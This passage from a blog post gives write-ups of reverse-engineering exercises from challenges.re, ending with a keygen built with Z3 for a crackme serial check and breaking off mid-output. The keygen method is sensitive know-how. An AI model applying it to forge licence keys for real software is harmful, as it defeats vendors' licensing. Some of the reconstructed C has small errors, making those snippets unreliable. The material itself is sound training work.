is the fourth and final set of for my self-imposed challenge of completing -at least fifty of the exercises on Dennis Yurichev's [[https://challenges.re][challenges.re]] by the end of -the year. The previous set is available [[http:///jakob.space/challenges-re-writeups-3.html][here]]. - -We'll actually be covering twenty challenges in this one. I'd been so busy with -school that I forgot to make a post when I hit forty. - -* Challenge #36 - -The description this time describes that this is "[a] well-known algorithm -again. What does it do? Also, take notice that the code for x86 uses FPU, but -SIMD instructions are used instead in the x64 code. That's OK." - -#+BEGIN_SRC c -long state = 0x12345678; - -float f1(void) -{ - state = state * 0x19660d + 0x3c6ef35f; - return ((float) ((state & 0x7fffff) | 0x40000000)) - 3.0f; -} - -void f(void) -{ - int i; - int count; - float a; - float b; - - for (i = 0, count = 0; i < 1000000; i++) { - a = f1(); - b = f1(); - - if (a * a + b * b > 1.0f) { - count++ - } - } - - ((float) (((double) count) * 2.25) / 10.9073486328125); -} -#+END_SRC - -I thought this was a lame challenge. The floating point operations of =f1= have -been optimized to the point that it's unrecognizable, so if you aren't familiar -with the standard bit-twiddling tricks that GCC uses to speed up floating-point -operations, you aren't going to be able to come up with anything meaningful -- -especially since neither function take parameters. My response? =f= returns the -constant value =206282.937500=. - -I thought this might be the [[https://en.wikipedia.org/wiki/Fast_inverse_square_root][fast inverse square root]], but I don't believe it is. - -* Challenge #37 - -Ah, another challenge for which the description is that it is a "[w]ell-known -function" and only x86 disassembly given is from MSVC. Fortunately, this one is -not too difficult. - -#+BEGIN_SRC c -int f(int a, int b) -{ - int i; - int n; - - if (a == 0) { - return b + 1; - } - - n = b; - i = a; - - do { - if (n == 0) { - n = 1; - } else { - n = f(i, n - 1); - } - } while (--i != 0); - - return n + 1; -} -#+END_SRC - -This is the Ackermann function, albeit using a loop rather than a direct -translation of the Ackermann–Péter function to code. - -To answer Yurichev's additional questions, a stack overflow occurs if 4 and 2 -are supplied as input because those are [[https://www.wolframalpha.com/input/?i=Ackermann(4,2)][absurd parameters for this function]], and -this function bears the error of not enforcing the constraints given in the -definition of the Ackermann–Péter function. - -* Challenge #38 - -Fun. Another challenge provided as a binary. - -#+BEGIN_SRC prog -jakob@Upsilon ~ $ sha256sum 17 -8f73f329e0988968a9fa40f61da906e83b46817bcb5c0e93f7e95aa74c30e8e0 17 -jakob@Upsilon ~ $ file 17 -17: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 2.6.18, BuildID[sha1]=bdeac54f2d98db38d7a63a43f1c41857432686c4, stripped -#+END_SRC - -I stopped a bit early because, for once, the question wasn't "[w]hat does this -code do?", but was instead, "[t]his program prints some information to stdout, -each time different. What is that?" - -#+BEGIN_SRC c -#include -#include - -static time_t current_time; - -int fcn.004006c4(void) -{ - return current_time = current_time * 0x19660d * 0x3c6ef35f; -} - -int main(int argc, char **argv) -{ - char *s2; - void **s1; - int var_1ch; - int var_18h; - int var_11h; - - s2 = malloc(230); - s1 = malloc(80); - var_1ch = 0; - - while (var_1ch <= 9) { - s1[var_1ch++] = calloc(230, 1); - } - - current_time = time(NULL); - - var_1ch = 0; - while (var_1ch <= 230) { - var_11h = fcn.00400b60(fcn.004006c4()); - s2[var_1ch++] = var_11h & 1; - } - - var_1ch = 0; - while (1) { - fcn.00400970(s2, 230); - fcn.0040072a(s2, 230, 110); - - var_18h = 0; - while (var_18h <= 8) { - if (!memcmp(s1[var_18h++], s2, 230)) { - exit(0); - } - } - - var_18h = 0; - while (var_18h <= 8) { - memcpy(s1[var_18h], s1[++var_18h], 230); - } - - memcpy(s1[9], s2, 230); - var_1ch++; - } -} -#+END_SRC - -The only nondeterminism I saw in the disassembly was from =time=. The actual -output of the program is incomprehensible -- appearing to be some sort of -ASCII-art fractal. For this reason, I'm concluding that the information printed -to =stdout= is the current time. - -* Challenge #39 - -The description for this challenge got me excited. "This program requires a -password. Find it." - -#+BEGIN_SRC prog -jakob@Upsilon ~ $ sha256sum password2 -8c8365f316de896c453511c5f484755600208b87ad0f1595a2900cbf5a36db24 password2 -#+END_SRC - -=main= is simple enough that I feel I can omit the: it reads in a password with -=scanf=, and then checks it with the following snippet. - -#+BEGIN_SRC prog -│ 0x0804853e e87affffff calll fcn.080484bd -│ 0x08048543 3df8010000 cmpl $0x1f8, %eax ; 504 -#+END_SRC - -We want to find some =password= such that =fcn.080484bd(password) = 0x1f8=. -Peeking into =fcn.080484bd=, I was a little disappointed. - -#+BEGIN_SRC prog -┌ (fcn) fcn.080484bd 46 -│ fcn.080484bd (int32_t arg_8h); -│ ; var int32_t var_4h @ ebp-0x4 -│ ; arg int32_t arg_8h @ ebp+0x8 -│ ; CALL XREF from main @ 0x804853e -│ 0x080484bd 55 pushl %ebp -│ 0x080484be 89e5 movl %esp, %ebp -│ 0x080484c0 83ec10 subl $0x10, %esp -│ 0x080484c3 c745fc000000. movl $0, var_4h -│ ┌─< 0x080484ca eb10 jmp 0x80484dc -│ │ ; CODE XREF from fcn.080484bd @ 0x80484e4 -│ ┌──> 0x080484cc 8b4508 movl arg_8h, %eax ; [0x8:4]=-1 ; 8 ; edx -│ ╎│ 0x080484cf 0fb600 movzbl 0(%eax), %eax -│ ╎│ 0x080484d2 0fbec0 movsbl %al, %eax -│ ╎│ 0x080484d5 0145fc addl %eax, var_4h -│ ╎│ 0x080484d8 83450801 addl $1, arg_8h ; [0x8:4]=-1 ; 1 -│ ╎│ ; CODE XREF from fcn.080484bd @ 0x80484ca -│ ╎└─> 0x080484dc 8b4508 movl arg_8h, %eax ; [0x8:4]=-1 ; 8 ; edx -│ ╎ 0x080484df 0fb600 movzbl 0(%eax), %eax -│ ╎ 0x080484e2 84c0 testb %al, %al -│ └──< 0x080484e4 75e6 jne 0x80484cc ; likely -│ 0x080484e6 8b45fc movl var_4h, %eax ; edx -│ 0x080484e9 c9 leave ; edx -└ 0x080484ea c3 retl ; edx -#+END_SRC - -Do I even need to provide a C translation? The disassembly should be glaringly -obvious: this "check" function just returns the sum of the string argument's -individual bytes. Coming up with a valid password is trivial. - -#+BEGIN_SRC prog -jakob@Upsilon ~ $ ./password2 -enter password: -AAAAAAA1 -password is correct -#+END_SRC - -The problem also suggests that I "try to change the password by patching the -executable file," but this doesn't invokve anything more than changing the word -at =0x08048544=. - -* Challenge #41 - -The question this time is: "[t]his program prints some numbers to stdout. What -is it?" - -#+BEGIN_SRC prog -jakob@Upsilon ~ $ file problem -problem: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 2.6.24, BuildID[sha1]=a89ecf1ae2f2474548d09ca3ebccd7db4162fa1e, stripped -jakob@Upsilon ~ $ sha256sum problem -ab3864e8fceeffe4b166cb7481332e88a1fe90b6a406e635c6921119c91a00fd problem -#+END_SRC - -I wrote a C translation without running the program. In retrospect, this wasn't -a bad idea. The calculation is a function of some integer, but the binary spits -out subsequent numbers with no sort of delimitation. Having the C translation -means that I could add a =printf("\n");= after the call to =fcn_00400536(var_4h++);= -and get output similar to the following: - -#+BEGIN_SRC prog -jakob@Upsilon ~ $ /tmp/test -1 - -2 -1 - -3 -10 -5 -16 -8 -4 -2 -1 - -4 -2 -1 - -5 -16 -8 -4 -2 -1 -#+END_SRC - -Here's the C translation. - -#+BEGIN_SRC c -void fcn_00400536(int a) -{ - printf("%d\n", a); - while (a != 1) { - if (a & 1 != 0) { - a = a * 3 + 1; - } else { - a >>= 1; - } - printf("%d\n", a); - } -} - -int main(int argc, char **argv) -{ - int var_4h; - var_4h = 1; - while (var_4h <= 15) { - fcn_00400536(var_4h++); - } - return var_4h; -} -#+END_SRC - -We can pick any interesting sequence and plug it into [[https://oeis.org/search?q=3%2C10%2C5%2C16%2C8%2C4%2C2%2C1&language=english&go=Search][OEIS]], which identifies -=fcn_00400536= as "A070165: Irregular triangle read by rows giving trajectory of n -in Collatz problem." Ah, yes. This is looking familiar now. This is the famously -unsolved problem in mathematics, the [[https://en.wikipedia.org/wiki/Collatz_conjecture][Collatz conjecture]]. - -* Challenge #43 - -#+BEGIN_SRC prog -jakob@Upsilon ~ $ file unknown_utility_2_3 -unknown_utility_2_3: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked, interpreter /lib/ld-linux.so.2, for GNU/Linux 2.6.24, BuildID[sha1]=cb74037dd37694879f6250bfb5623c273ef68ca6, stripped -jakob@Upsilon ~ $ sha256sum unknown_utility_2_3 -9d3df3be78f21971059ba2d9973a1358865ccbe2f47f78fc5800779d6f6083fe unknown_utility_2_3 -#+END_SRC - -I really wasn't feeling it today, so I took the easy way out and just ran the -binary provided on a test file. It spits out a floating point number, which -seems to decrease as the file becomes less interesting. Just a hunch, but maybe -it's binary entropy? - -#+BEGIN_SRC prog -jakob@Upsilon ~ $ python -c "print('a' * 256)" > test.txt -jakob@Upsilon ~ $ ./unknown_utility_2_3 test.txt -0.036753 -jakob@Upsilon ~ $ rahash2 -a entropy test.txt -test.txt: 0x00000000-0x00000100 entropy: 0.03675295 -jakob@Upsilon ~ $ dd bs=256 count=1 if=/dev/urandom > test.txt -1+0 records in -1+0 records out -256 bytes copied, 7.0438e-05 s, 3.6 MB/s -jakob@Upsilon ~ $ ./unknown_utility_2_3 test.txt -7.069718 -jakob@Upsilon ~ $ rahash2 -a entropy test.txt -test.txt: 0x00000000-0x000000ff entropy: 7.06971784 -#+END_SRC - -Well, that's an answer I'm certainly happy with. - -* Challenge #48 - -It looks like we're starting to get into the realm of =win32=. The question for -this challenge is, "[w]hat does this win32-function do?" - -#+BEGIN_SRC asm -main: - push 0xFFFFFFFF - call MessageBeep - xor eax,eax - retn -#+END_SRC - -This is pretty simple. It's a wrapper for =MessageBeep=. According to [[https://docs.microsoft.com/en-us/windows/win32/api/winuser/nf-winuser-messagebeep][MSDN]], the -=0xFFFFFFFF= parameter produces "[a] simple beep. If the sound card is not -available, the sound is generated using the speaker." - -* Challenge #49 - -Another rather simple one. The disassembly for this challenge is given in AT&T -syntax, which is my preferred way of reading x86 assembly. - -#+BEGIN_SRC asm -main: - pushq %rbp - movq %rsp, %rbp - movl $2, %edi - call sleep - popq %rbp - ret -#+END_SRC - -A wrapper around =sleep=, presumably the only provided by =unistd.h=, calling it -with an argument of two seconds. - -* Challenge #52 - -Another simple disassembly: - -#+BEGIN_SRC asm -$SG3103 DB '%d', 0aH, 00H - -_main PROC - push 0 - call DWORD PTR __imp___time64 - push edx - push eax - push OFFSET $SG3103 ; '%d' - call DWORD PTR __imp__printf - add esp, 16 - xor eax, eax - ret 0 -_main ENDP -#+END_SRC - -To copy straight from [[https://docs.microsoft.com/en-us/cpp/c-runtime-library/reference/time-time32-time64?view=vs-2019][MSDN]], this prints the number of "seconds elapsed since -midnight (00:00:00), January 1, 1970, Coordinated Universal Time (UTC)." - -MSDN also answers the follow-up question: "=time= is a wrapper for =_time64= and -=time_t= is, by default, equivalent to =__time64_t=. If you need to force the -compiler to interpret =time_t= as the old 32-bit =time_t=, you can define -=_USE_32BIT_TIME_T=. This is not recommended because your application may fail -after January 18, 2038; the use of this macro is not allowed on 64-bit -platforms." - -* Challenge #53 - -I thought this was an interesting challenge. "This code, compiled in Linux -x86-64 using GCC is crashing while execution (segmentation fault). It's also -crashed if compiled by MinGW for win32. However, it works in Windows environment -if compiled by MSVC 2010 x86. Why?" - -#+BEGIN_SRC c -#include -#include - -void alter_string(char *s) -{ - strcpy (s, "Goodbye!"); - printf ("Result: %s\n", s); -}; - -int main() -{ - alter_string ("Hello, world!\n"); -}; -#+END_SRC - -The code is modifying a string constant, which GCC tends to put in a read-only -memory segment (=.rodata=) in the resultant executable. Writing to a read-only -memory segment will cause a segmentation fault. I haven't tested it, but the -question statement makes me think that MSVC puts string constants in a writable -segment, so this would work just fine. - -* Challenge #54 - -No disassembly is given for this challenge. The only thing on the page is "[w]hy -isn't the x86 LOOP instruction used by modern compilers anymore?" Some searching -yields [[https://stackoverflow.com/questions/35742570/why-is-the-loop-instruction-slow-couldnt-intel-have-implemented-it-efficiently/35743699#35743699][this Stack Overflow answer]]. Basically, =loop= is from the time before x86 -became horribly complex, and so on modern processors, it's slow. - -* Challenge #56 - -I decided to skip challenge #55, as it would really just be a walkthrough of -which r2 commands I used. Challenge #56 is not particularly difficult. I went -along with the disassembly from MSVC. - -#+BEGIN_SRC c -#include - -int main(void) -{ - int n; - n = 100; - do { - printf("%d", n); - } while (n-- != 0); - return 0; -} -#+END_SRC - -The code prints the integers from 100 to 0. - -* Challenge #57 - -This is almost the same disassembly as last time. - -#+BEGIN_SRC c -#include - -int main(void) -{ - int n; - n = 1; - do { - printf("%d", n); - n += 3; - } while (n < 100); - return 0; -} -#+END_SRC - -* Challenge #58 - -This time, we're fortunate enough to be given a disassembly from GCC 4.8.1, -albeit with =-O3=. - -#+BEGIN_SRC c -int f(char *a) -{ - int count; - count = 0; - while (*a != '\0') { - if (*a++ == ' ') { - count++; - } - } - return count; -} -#+END_SRC - -=f= counts the number of spaces in a given string. As an aside, when I was first -learning to read assembly, I recall someone describing =-O3= as "unintelligible to -humans." The more reverse engineering I've done, the more I've realized that the -optimizations at that level tend to not be as absurd as people make them out to -be. I considered this to be an easy challenge. - -* Challenge #59 - -This one was /really/ easy. - -#+BEGIN_SRC asm -_a$ = 8 -_f PROC - mov ecx, DWORD PTR _a$[esp-4] - lea eax, DWORD PTR [ecx*8] - sub eax, ecx - ret 0 -_f ENDP -#+END_SRC - -The function just returns =a * 7=. I suspect the multiplication followed by -subtraction was an optimization, since multiplication by a power of two can be -implemented as a left shift. - -* Challenge #61 - -Perhaps the most difficult part of this challenge was going out my way to [[https://float.exposed/0x4014000000000000][ensure -that the constant really was 5.0]]. - -#+BEGIN_SRC c -double f(double a, double b, double c, double d, double e) -{ - return (a + b + c + d + e) / 5; -} -#+END_SRC - -=f= simply averages five numbers. - -* Challenge #62 - -The challenge notes that the compiler was optimizing for space, which may -explain the pointless nested loop. - -#+BEGIN_SRC c -void f(float *a, float *b, float *c) -{ - int i; - int j; - - long coffee; - long cake; - - coffee = a - b; - cake = c - b; - - for (i = 200; i > 0; i--) { - for (j = 100; j > 0; j--) { - b[cake] = b[0] + b[coffee]; - b += 8; - } - } -} -#+END_SRC - -=f= adds 20000 elements from =a= and =b=, storing their sums in =c=. - -* Challenge #64 - -I was swamped with preparing for finals this weekend, so I decided to skip -challenge #63 in favor of something less arduous. The question for this one is, -"[a]n array of array[x][y] form is accessed here. Try to determine the -dimensions of the array, at least partially, by finding y." - -#+BEGIN_SRC c -double f(double *array, int x, int y) -{ - return array[y + x * 15]; -} -#+END_SRC - -The array has some number of rows each containing 15 elements. - -* Challenge #65 - -The question here is the same as the previous challenge. - -#+BEGIN_SRC c -int f(int *array, int x, int y, int z) -{ - return array[z + 5 * 16 * (y + 4 * 15 * x)]; -} -#+END_SRC - -Assuming an array of integers, the dimensions of the array are 15 x 20 x ... - -* Challenge #74 - -I skipped way ahead this time because I was done with finals and knew that this -was the last of the challenges I'd be doing this year. So I looked through what -remained in search of something difficult, but interesting, and settled on this -one. - -We're given a binary, - -#+BEGIN_SRC prog -jakob@Epsilon ~ $ sha256sum challenge74 -6d2ac11d1e6200d6a2cca988189764b6acdb7811d24619e8e66f1796c8c27394 challenge74 -jakob@Epsilon ~ $ file challenge74 -challenge74: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 2.6.24, BuildID[sha1]=7fa3bd4aa738bced5aaccb161090818646e07704, stripped -#+END_SRC - -as well as a few valid keys. - -#+BEGIN_SRC prog -2Z7A7-EK270-TMHR4-BHC71-CEB52-HELL0-HELL0-EONP9 -2Z7A7-6I7R9-MZGO9-FDQJ3-JN0Q6-HELL0-HELL0-72KJ9 -#+END_SRC - -I took this as an opportunity to try out the [[https://github.com/radareorg/r2ghidra-dec][r2ghidra-dec]] plugin for Radare. -Let's see how it does. - -#+BEGIN_SRC c -// WARNING: Could not reconcile some variable overlaps -// WARNING: [r2ghidra] Detected overlap for variable var_20h// WARNING: [r2ghidra] Failed to match type signed int64_t for variable var_10h to Decompiler type: Unknown type -// identifier signed -// WARNING: [r2ghidra] Detected overlap for variable var_ch -// WARNING: [r2ghidra] Failed to match type signed int64_t for variable var_8h to Decompiler type: Unknown type -// identifier signed -// WARNING: [r2ghidra] Detected overlap for variable var_8h -// WARNING: [r2ghidra] Failed to match type signed int for variable var_4h to Decompiler type: Unknown type identifier -// signed -// WARNING: [r2ghidra] Detected overlap for variable var_4h -// WARNING: [r2ghidra] Detected overlap for variable var_bh - -undefined8 main(uint32_t argc, char **argv) -{ - int64_t iVar1; - char cVar2; - int32_t iVar3; - int64_t in_FS_OFFSET; - int64_t var_30h; - int64_t var_24h; - int64_t var_8h; - - iVar1 = *(int64_t *)(in_FS_OFFSET + 0x28); - var_24h._0_4_ = argc; - sym.imp.puts("Crackme/keygenme by Dennis Yurichev, http://challenges.re/74"); - sym.imp.putchar(10); - if ((uint32_t)var_24h == 1) { - sym.imp.puts("Command line: "); - // WARNING: Subroutine does not return - sym.imp.exit(0); - } - iVar3 = sym.imp.memcmp(argv[1] + 0x1e, "HELL0-HELL0", 0xb); - if (iVar3 != 0) { - sym.imp.puts("SN format is incorrect"); - // WARNING: Subroutine does not return - sym.imp.exit(0); - } - iVar3 = fcn.00400bb5((int64_t)argv[1], (int64_t)&var_24h + 4); - if (iVar3 == -1) { - sym.imp.puts("SN format is incorrect"); - // WARNING: Subroutine does not return - sym.imp.exit(0); - } - cVar2 = fcn.0040085e((void *)((int64_t)&var_24h + 4)); - if (cVar2 == '\0') { - sym.imp.puts("SN is not valid"); - } else { - sym.imp.puts("SN valid"); - } - if (iVar1 != *(int64_t *)(in_FS_OFFSET + 0x28)) { - // WARNING: Subroutine does not return - sym.imp.__stack_chk_fail(); - } - return 0; -} -#+END_SRC - -When I saw this, I was blown away. Damn. The NSA did a great job with this. -Here's my cleaned up version. - -#+BEGIN_SRC c -#include - -int main(int argc, char **argv) -{ - char buf[24]; - - printf("Crackme/keygenme by Dennis Yurichev, http://challenges.re/74\n\n"); - - if (argc == 1) { - puts("Command line: "); - exit(0); - } - - if (memcmp(argv[1] + 0x1e, "HELL0-HELL0", 0xb)) { - puts("SN format is incorrect"); - exit(0); - } - - if (fcn_00400bb5(argv[1], buf) == -1) { - puts("SN format is incorrect"); - exit(0); - } - - if (fcn_0040085e(buf) == '\0') { - puts("SN is not valid"); - } else { - puts("SN valid"); - } - - return 0; -} -#+END_SRC - -Aside from getting rid of temporary variables, I removed =iVar1= as it's no more -than a stack canary, and I fixed up a few "errors" that the decompiler made. As -an example, notice that strange assignment to =var_24h._0_4_=? Let's see what the -disassembly says. - -#+BEGIN_SRC asm - pushq %rbp - movq %rsp, %rbp - subq $0x30, %rsp - movl %edi, var_24h ; argc - movq %rsi, var_30h ; argv -#+END_SRC - -This is the only write to =var_24h=, so the line should have been =var_24h = argv=. -For some reason, the decompiler saw this as assignment to a =struct= field. I -ended up removing it anyway. Using 'argc' is clearer. - -There's also that odd =(void *)((int64_t)&var_24h + 4)=, but if we look at the -disassembly, - -#+BEGIN_SRC asm - leaq var_20h, %rdx - movq %rdx, %rsi - movq %rax, %rdi - callq fcn.00400bb5 - ... - leaq var_20h, %rax - movq %rax, %rdi - callq fcn.0040085e -#+END_SRC - -So that should've just been =var_20h= in the decompilation. Regardless, I'm -impressed. And I have to say, as a plugin, r2ghidra is really good. =pdg= takes a -few seconds, but if you rename some variables with =afvn= and run it again, it -spits out the updated version instantly, which makes me think that it's probably -doing some sort of caching and quick substitution. - -Anyway, back to the challenge. We can tell from the decompilation already that -the sixth and seventh components must be "HELL0-HELL0". It also has to contain -eight components, delimited by '-', as we can see from =fcn_00400bb5=: - -#+BEGIN_SRC c -var_10h._0_4_ = 0; -while ((int32_t)var_10h < 7) { - if (*(char *)(arg1 + (int64_t)((int32_t)var_10h * 6) + 5) != '-') { - return 0xffffffff; - } - var_10h._0_4_ = (int32_t)var_10h + 1; -} -#+END_SRC - -Here's the gist of the key verification algorithm: - -- =fcn_00400bb5= parses the key into a buffer (I renamed this to =parse_key=) - - Calls out to a =charcode= function which maps numerals to their numeric values - ('0' becomes 0) and letters 'A' through 'Z' to 10-35. - - The buffer is written with 3 bytes per component. I thought this was a - decompiler mistake at first, but I checked the disassembly and it really is - 3 bytes per component. 24 bytes total. -- =fcn_0040085e= does further verification and enables features based on the - parsed key (I renamed this to =enable_features=). - - The resultant parsed buffer needs to start with 0xdeadbabe. - - The 4th and 5th bytes give a numerical year, the 6th a numerical month, and - the 7th a numerical day. - - There's a sanity checks to ensure that the day is between 1 and 31, that - the month is between 1 and 12, and that the year is between 2016 and 2101. - - The 7th bit of byte 8 enables feature A - - The 1st bit of byte 9 enables feature B - - The 2nd bit of byte 10 enables feature C - - The 4th bit of byte 11 enables feature D - - The 1st bit of byte 12 enables feature E - - There's one final check of the last 8 bytes against a =checksum= function. - -#+BEGIN_SRC c -#include - -uint64_t checksum(int64_t init, char *parsed, int64_t length) -{ - uint64_t ret; - char *cur; - int i; - int j; - - cur = parsed; - ret = ~init; - i = length; - - while (i != 0) { - ret = ret ^ (uint64_t) *cur; - j = 0; - while (i--, cur++, j < 8) { - if ((ret & 1) == 0) { - ret = ret >> 1; - } else { - ret = ret >> 1 ^ 0x42f0e1eb0badbad0; - } - j++; - } - } - - return ~ret; -} -#+END_SRC - -I actually didn't realize that last part until I'd already hacked together a -quick key verifier. - -#+BEGIN_SRC common-lisp -(use-package :cl-utilities) - -(defun charcode (c) - (let ((value (char-code c))) - (cond ((<= (char-code #\0) value (char-code #\9)) (- value #x30)) - ((<= (char-code #\A) value (char-code #\Z)) (- value #x37))))) - -(defun hash-component (component) - (let* ((characters (coerce component 'list)) - (values (mapcar #'charcode characters))) - (unless (or (/= 5 (length values)) (find nil values)) - (+ (* #x000001 (nth 0 values)) - (* #x000024 (nth 1 values)) - (* #x000510 (nth 2 values)) - (* #x00b640 (nth 3 values)) - (* #x19a100 (nth 4 values)))))) - -(defun parse-key (key) - (reduce #'append - (mapcar #'(lambda (component) - (let ((hash (hash-component component))) - (list (logand hash #xff) - (logand (ash hash -8) #xff) - (logand (ash hash -16) #xff)))) - (split-sequence #\- key)))) - -(defun key-valid-p (key) - ;; Must begin with 0xdeadbabe, and have HELL0 for components 6 and 7. - (and (equal (subseq key 0 4) '(222 173 186 190)) - (equal (subseq key 15 21) '(153 95 15 153 95 15)))) - -(defun key-attributes (key) - (let ((parsed (parse-key key))) - (list :valid (key-valid-p parsed) - :expiry-year (logior (ash (nth 4 parsed) 8) - (nth 5 parsed)) - :expiry-month (nth 6 parsed) - :expiry-day (nth 7 parsed) - :feature-a (plusp (logand (nth 8 parsed) (ash 1 6))) - :feature-b (plusp (logand (nth 9 parsed) (ash 1 0))) - :feature-c (plusp (logand (nth 10 parsed) (ash 1 1))) - :feature-d (plusp (logand (nth 11 parsed) (ash 1 2))) - :feature-e (plusp (logand (nth 12 parsed) (ash 1 0)))))) - -(key-attributes "2Z7A7-EK270-TMHR4-BHC71-CEB52-HELL0-HELL0-EONP9") -;; (:VALID T :EXPIRY-YEAR 2053 :EXPIRY-MONTH 5 :EXPIRY-DAY 22 :FEATURE-A T -;; :FEATURE-B T :FEATURE-C T :FEATURE-D T :FEATURE-E NIL) - -(key-attributes "2Z7A7-6I7R9-MZGO9-FDQJ3-JN0Q6-HELL0-HELL0-72KJ9") -;; (:VALID T :EXPIRY-YEAR 2042 :EXPIRY-MONTH 2 :EXPIRY-DAY 21 :FEATURE-A T -;; :FEATURE-B T :FEATURE-C T :FEATURE-D T :FEATURE-E T) -#+END_SRC - -We can verify our results. - -#+BEGIN_SRC prog -jakob@Epsilon ~ $ ./challenge74 "2Z7A7-EK270-TMHR4-BHC71-CEB52-HELL0-HELL0-EONP9" -Crackme/keygenme by Dennis Yurichev, http://challenges.re/74 - -Expiration date: 2053-05-22 -Feature A: ON -Feature B: ON -Feature C: ON -Feature D: ON -Feature E: OFF -SN valid -jakob@Epsilon ~ $ ./challenge74 "2Z7A7-6I7R9-MZGO9-FDQJ3-JN0Q6-HELL0-HELL0-72KJ9" -Crackme/keygenme by Dennis Yurichev, http://challenges.re/74 - -Expiration date: 2042-02-21 -Feature A: ON -Feature B: ON -Feature C: ON -Feature D: ON -Feature E: ON -SN valid -#+END_SRC - -But, as I mentioned, I'd missed the checksum, so we'll need to deal with that in -developing a keygen. What makes this so difficult is that the bytes of the -checksum are incorporated in the checksum value. So, I thought this might be an -opportunity to add something else to my toolbox: the [[https://en.wikipedia.org/wiki/Z3_Theorem_Prover][Z3 Theorem Prover]]. - -I'd never used it before, but it seems to show up in CTF writeups quite -frequently. I did a bit of reading ([[https://jomo.tv/security/mrmcd-ctf-writeup-flag-checker][this]], [[https://ericpony.github.io/z3py-tutorial/guide-examples.htm][this]] and [[https://stackoverflow.com/questions/53726998/using-z3-where-constraint-depends-on-output-of-function][this]]) and put together this: - -#+BEGIN_SRC python -from z3 import * - -s = Solver() - -def checksum(init, key): - result = BitVecVal(~init, 64) - - for byte in key: - result ^= ZeroExt(56, byte) - for i in range(8): - result = (result >> 1 & 0x7fffffffffffffff) ^ (0x42f0e1eb0badbad0 * (result & 1)) - - result = ~result - - return result - -def unpack(word): - result = BitVecVal(0, 64) - result |= ZeroExt(56, word[0]) - result |= ZeroExt(56, word[1]) << 8 - result |= ZeroExt(56, word[2]) << 16 - result |= ZeroExt(56, word[3]) << 24 - result |= ZeroExt(56, word[4]) << 32 - result |= ZeroExt(56, word[5]) << 40 - result |= ZeroExt(56, word[6]) << 48 - result |= ZeroExt(56, word[7]) << 56 - return result - -key = [BitVec("bv{}".format(i), 8) for i in range(24)] - -FEATURE_A = False -FEATURE_B = False -FEATURE_C = False -FEATURE_D = False -FEATURE_E = False - -s.add(key[0] == 222) -s.add(key[1] == 173) -s.add(key[2] == 186) -s.add(key[3] == 190) -s.add(key[4] == ((2019 & 0xff00) >> 8)) -s.add(key[5] == 2019 & 0x00ff) -s.add(key[6] == 12) -s.add(key[7] == 25) -s.add(key[8] & 0b100000 == (1 if FEATURE_A else 0)) -s.add(key[9] & 0b000001 == (1 if FEATURE_B else 0)) -s.add(key[10] & 0b000010 == (1 if FEATURE_C else 0)) -s.add(key[11] & 0b001000 == (1 if FEATURE_D else 0)) -s.add(key[12] & 0b000001 == (1 if FEATURE_E else 0)) -s.add(key[15] == 153) -s.add(key[16] == 95) -s.add(key[17] == 15) -s.add(key[18] == 153) -s.add(key[19] == 95) -s.add(key[20] == 15) - -s.add(unpack(key[16:]) == checksum(0, key)) - -s.check() -print(s.model()) -#+END_SRC - -Accurately translating the checksum function was a pain in the tuckus. The right -shift was giving me a hard time since the Z3 right shift doesn't prepend with -zeroes. The =& 0x7fffffffffffffff= is my attempt at dealing with that. - -As an aside, I just want to say that GDB's =call= functionality is godsend. It -made verifying my translation so much easier. - -#+BEGIN_SRC prog -(gdb) p (unsigned long long) $checksum(0, &{'\xff', '\xff', '\xff'}, 3) -$14 = 18446742974197923840 -#+END_SRC - -So, I let this run overnight, which brought me back to when I was more active -with CTF and would let my half-complete solutions run while I slept. - -#+BEGIN_SRC prog -jakob@Epsilon ~ $ python solver.py -[bv22 = 196, - bv13 = 18, - bv21 = 216, - bv23 = 130, - bv14 = 209, - bv8 = 130, - bv10 = 108, - bv9 = 170, - bv11 = 208, - bv12 = 240, - bv20 = 15, - bv19 = 95, - bv18 = 153, - bv17 = 15, - bv16 = 95, - bv15 = 153, - bv7 = 24, - bv6 = 12, - bv5 = 227, - bv4 = 0, - bv3 = 190, - bv2 = 186, - bv1 = 173, - bv0 = 222] -#+END_SRC - -This was waiting for me when I got back from the gym the next morning. - -#+BEGIN_SRC common-lisp -(string-join - (mapcar #'ahash-component-inverse - (mapcar #'triplet-to-number '((222 173 186) - (190 0 27) - (12 24 13) - (170 108 208) - (240 18 20) - (153 95 15) - (153 95 15) - (216 196 130)))) - "-") -#+END_SRC - -#+BEGIN_SRC prog -CL-USER> (string-join - (mapcar #'ahash-component-inverse - (mapcar #'triplet-to-number '((222 173 186) - (190 0 27) - (12 24 13) - (170 108 208) - (240 18 20) - (153 95 15) - (153 95 15) - (216 196 130)))) - "-") -"2Z7A7-AHX11-S4EI0-6LR48-K37S0-HELL0-HELL0-KPO35" -CL-USER> (key-attributes "2Z7A7-AHX11-S4EI0-6LR48-K37S0-HELL0-HELL0-KPO35") -(:VALID NIL :EXPIRY-YEAR 27 :EXPIRY-MONTH 12 :EXPIRY-DAY 24 :FEATURE-A NIL - :FEATURE-B NIL :FEATURE-C NIL :FEATURE-D NIL :FEATURE-E NIL) -#+END_SRC - -Oh no... - -#+BEGIN_SRC python -... -s.add(key[4] == 2019 & 0xff00) -... -#+END_SRC - -That should've been =s.add(key[4] == ((2019 & 0xff00) >> 8))=... - -;-; - -Let's try this again. - -#+BEGIN_SRC prog -jakob@Epsilon ~ $ python solver.py -[bv22 = 80, - bv13 = 39, - bv21 = 204, - bv23 = 133, - bv14 = 124, - bv8 = 140, - bv10 = 12, - bv9 = 168, - bv11 = 183, - bv12 = 184, - bv20 = 15, - bv19 = 95, - bv18 = 153, - bv17 = 15, - bv16 = 95, - bv15 = 153, - bv7 = 25, - bv6 = 12, - bv5 = 227, - bv4 = 7, - bv3 = 190, - bv2 = 186, - bv1 = 173, - bv0 = 222] -#+END_SRC - -This time it actually ran for a whole two days. - -#+BEGIN_SRC prog -CL-USER> (mapcar #'hash-component-inverse - (mapcar #'triplet-to-number - '((222 173 186) - (190 7 227) - (12 25 140) - (168 12 183) - (184 39 124) - (153 95 15) - (153 95 15) - (204 80 133)))) -("2Z7A7" "YFWU8" 